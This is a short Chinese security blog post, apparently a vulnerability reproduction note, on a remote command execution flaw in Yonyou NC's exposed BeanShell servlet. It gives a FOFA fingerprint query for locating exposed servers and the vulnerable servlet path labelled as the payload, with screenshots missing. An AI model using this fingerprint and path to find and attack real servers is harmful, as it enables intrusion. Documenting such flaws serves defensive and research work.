Babing
Published on 2024-08-30 / 3 Visits
0
0

Y4-30用友-NC-RCE

Y4-30用友-NC-RCE

漏洞描述:

用友 NC bsh.servlet.BshServlet 存在远程命令执行漏洞,通过BeanShell 执行远程命令获取服务器权限。

网站图片:

image-20240623123413134

网络测绘:

fofa语法:

FOFA: icon_hash=“1085941792”

漏洞复现:

payload:

/servlet/~ic/bsh.servlet.BshServlet

效果图:


Comment